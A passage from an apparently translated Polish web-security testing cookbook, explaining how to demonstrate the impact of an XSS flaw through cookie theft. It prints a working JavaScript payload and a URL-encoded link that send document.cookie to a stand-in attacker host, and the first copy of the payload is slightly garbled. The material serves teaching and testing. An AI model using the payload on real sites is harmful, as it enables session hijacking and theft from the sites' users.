Problem
Po znalezieniu podatności aplikacji na ataki XSS możemy się zetknąć z prośbą o zademonstrowanie, dlaczego jest to problem. W końcu samo pokazanie tego, że po wpisaniu w polu wyszukiwania ciągu <script>alert( "XSS!" )</script> w przeglądarce wyświetli się okno z komunikatem, nie wywiera zbyt wielkiego wrażenia. Niniejsza receptura jest pierwszą z trzech, w której omówiono znane ataki przeprowadzane za pośrednictwem XSS. Ponieważ celem tych trzech receptur nie jest znalezienie podatności na ataki XSS, a jedynie zademonstrowanie możliwości, jakie dają ataki tego typu, do zaprezentowanych testów nie mają zastosowania kryteria: wynik ujemny (dodatni). Wspomniane receptury można przeprowadzić tylko w przypadku stwierdzenia, że określona aplikacja jest podatna na atak XSS.
Rozwiązanie
Najłatwiejszym praktycznym zastosowaniem ataku XSS jest kradzież pliku cookie użytkownika. Spróbujmy wstrzyknąć do wrażliwego parametru ciąg ataku podobny do tego, który pokazano poniżej:
Kod JavaScript umożliwiający kradzież pliku cookie
<script>document.write('<img height=0 width=0
src="http://napastnil<.example.org/cool<ie_log?cookie=' + encodeURI(document.cookie) + '"/>')</script>
Spowoduje to utworzenie łącza podobnego do tego, które pokazano poniżej. Kliknięcie łącza spowoduje uruchomienie skryptu.
Ciąg dalszy - Kod JavaScript umożliwiający kradzież pliku cookie
http://www.example.com/example7wrazliwy_param-%3Cscript%3E
document.write('%3Cimg%20height=0%20width=0%20
src=%22http://napastnik.example.org/cookie_log%3Fcookie%3D'%20+%20
encodeURI(document.cookie)%20+%20'%22/%3E')%3C/script%3E